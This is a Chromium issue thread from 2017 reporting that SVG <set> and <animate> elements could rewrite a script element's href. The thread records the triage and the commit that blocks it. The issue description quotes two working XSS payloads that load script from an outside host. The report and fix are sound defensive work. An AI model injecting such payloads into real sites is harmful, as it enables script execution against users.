SVG animations on non-animatable elements. |
|||||
Issue descriptionClever folks have noted that it's possible to change the `href` attribute of a `<script>` element via things like `<set>` and `<animate>`. This is somewhat useful for XSS attacks: injecting something like `<svg><set href=#x attributeName=href to=//14.rs />` or `<svg><animate href=#x attributeName=href to=//14.rs />` gets you code execution on the site. The PoCs don't work in Firefox, and based on a quick skim of what I think is the relevant spec (https://svgwg.org/specs/animations/#AnimationAttributesAndProperties), this shouldn't be possible. Am I reading that right? I've CC'd a few folks who know more about SVG than I do. Hopefully one of y'all can triage this to the right person. (fs@, I'm assigning it to you, since you're the last one to explicitly touch animation... thanks!) I'm not marking this as RestrictView, as the discussion of the bug is already public.
,
Jan 9 2017
Ok. Hrm. Can we subclass `SVGURIReference` into `SVGURIReferenceThatCanNotBeAnimatedBecauseWhoWouldEverAnimateHrefAttributesThatsWeird`? :)
,
Jan 9 2017
,
Jan 9 2017
I think an easier path of approach could be to remove this 'href' (and hence also 'xlink:href') from the property-map - that way the animation system would not see it as animatable.
,
Jan 9 2017
Can you walk me through doing that? I have zero idea how SVG works. :)
,
Jan 9 2017
Sure, just let me upload the CL first ;-)
,
Jan 11 2017
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/97501194ee5fac524c6126c7e7bd2184d9fcfca6 commit 97501194ee5fac524c6126c7e7bd2184d9fcfca6 Author: fs <fs@opera.com> Date: Wed Jan 11 16:08:06 2017 Block animation of the SVGScriptElement 'href' should not be animatable for SVGScriptElements, but currently is. This will "break" animation of 'className' on the same element. R=mkwst@chromium.org,pdr@chromium.org BUG= 679291 Review-Url: https://codereview.chromium.org/2618323002 Cr-Commit-Position: refs/heads/master@{#442915} [add] https://crrev.com/97501194ee5fac524c6126c7e7bd2184d9fcfca6/third_party/WebKit/LayoutTests/svg/animations/resources/set-foo.js [add] https://crrev.com/97501194ee5fac524c6126c7e7bd2184d9fcfca6/third_party/WebKit/LayoutTests/svg/animations/script-href-no-animate.html [modify] https://crrev.com/97501194ee5fac524c6126c7e7bd2184d9fcfca6/third_party/WebKit/Source/core/svg/SVGAnimateElement.cpp [modify] https://crrev.com/97501194ee5fac524c6126c7e7bd2184d9fcfca6/third_party/WebKit/Source/core/svg/SVGScriptElement.cpp
,
Jan 11 2017
If we want to merge this (to 56 primarily), I don't think it'll merge cleanly, but rather needs some tending too. Hopefully not too complicated though.
,
Jan 12 2017
,
Jan 12 2017
,
Jan 12 2017
fs@: I don't think we _need_ to merge it to 56; it's not at all a new bug. If you have free time you'd like to fill, however, please go right ahead. :)
,
Jan 12 2017
Well, if I did think it'd merge cleanly I might've tried already, but since it likely won't, I'll spend those minutes somewhere else until otherwise prompted... =) |
|||||
►
Sign in to add a comment |
|||||
Comment 1 by f...@opera.com
, Jan 9 2017